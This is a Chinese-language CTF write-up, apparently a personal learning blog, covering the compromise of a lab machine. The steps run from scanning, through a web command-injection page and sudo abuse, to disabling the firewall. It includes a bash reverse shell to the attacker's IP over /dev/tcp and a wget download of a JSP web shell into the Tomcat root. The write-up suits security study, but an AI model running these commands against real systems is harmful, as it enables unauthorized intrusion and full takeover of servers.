声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。

扫描主机服务信息以及服务版本:

nmap -sV 192.168.31.213

 

 

 

快速扫描主机全部信息:

nmap -T4 -A -v 192.168.31.213

有http服务,用nikto探测敏感信息:(这儿要加端口号,因为这一次http服务开放在8080端口处)

nikto -host http://192.168.31.213:8080

 

 

 put和delete方法都是很危险的

 

http信息嘛,先使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可利用的位置:

查找到网站根目录存放的位置:

 

 

 在浏览器中访问之前nikto中的test.jsp文件:

http://192.168.31.213:8080/test.jsp

看到一个可以输入命令的地方:

 

 

 在文本框中输入命令后(如ls -l /tmp)会返回相应的值

 

漏洞利用:

查看临时缓冲目录:

ls -alh /tmp

 

 

 

查看home目录,挖掘用户信息:

ls -alh /home

 

 

 一个点代表当前目录,两个点代表上级目录

发现了用户bill

 

查看具体用户的目录:

ls -alh /home/bill

 

 

 看到了.ssh文件,说明用户bill是可以使用ssh来远程登陆服务器的

最后一行提示我们bill用户通过sudo是可以作为管理员执行一些命令的,说不定可以提权

 

查看系统信息:

uname -a

 

 

 注意:Ubuntu上面有一个默认的防火墙,叫做UFW

 

 

利用ssh命令执行root权限命令:

使用下述代码通过ssh本地去登录服务器是不需要身份验证的;

ssh 用户名@localhost

 

所以我们可以这么在那个本文框中输入以便于查看bill用户的sudo命令的权限:

ssh bill@localhost sudo -l

 

 

 

关闭防火墙:

ssh bill@localhost sudo ufw disable

执行成功:

 

 

 

接下来就是想办法提升权限:

攻击机启动监听:

nc -lvp 4444

 

靶场机器反弹shell:

ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.31.113/4444 0>&1

其中192.168.31.113是攻击机ip地址

把这段代码输入之前的文本框后提交

将bash反弹回对应的端口上???说实话这块代码没看懂

 

反弹成功:

 

 

 然后发现已经是root权限了:

 

 

 

还有一种渗透方式,就是给http服务器上传web木马,通过木马实现对服务器的控制:

开启python见一http服务器:

python -m SimpleHTTPServer

注意,这时候打开的http本地服务开放在本地的8000端口上

 

利用命令执行下载木马文件(一定要把木马上传到网站的根目录,就是之前发现的那个路径底下):

也就是利用之前的文本框执行命令,使得bill登陆服务器后自动下载攻击机本地的木马到服务器的根目录下并执行,然后就会反弹回shell

ssh bill@localhost sudo wget "http://192.168.31.113:8000/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp

 

本题结。